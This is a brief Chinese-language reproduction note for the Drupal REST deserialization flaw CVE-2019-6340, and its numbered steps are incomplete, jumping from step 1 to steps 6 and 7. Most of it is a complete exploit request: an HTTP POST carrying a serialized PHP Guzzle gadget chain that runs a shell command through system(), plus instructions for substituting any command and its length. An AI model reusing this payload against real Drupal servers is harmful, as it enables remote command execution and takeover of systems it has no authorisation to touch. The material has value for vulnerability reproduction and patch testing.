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CVE-2019-6340 影响范围：Drupal < 8.6.10，Drupal < 8.5.12

1、搜索镜像

本次复现踩坑。

6、命令修改，修改s:2:“id”;id为执行的命令，2为命令长度。

POST /node/?_format=hal_json HTTP/1.1Host: 174.99.8.203Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://174.99.8.203/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/hal+jsonContent-Length: 630{     "link": [    {         "value": "link",      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"    }  ],  "_links": {       "type": {         "href":"http://174.99.8.203/rest/type/shortcut/default"    }  }}

7、成功执行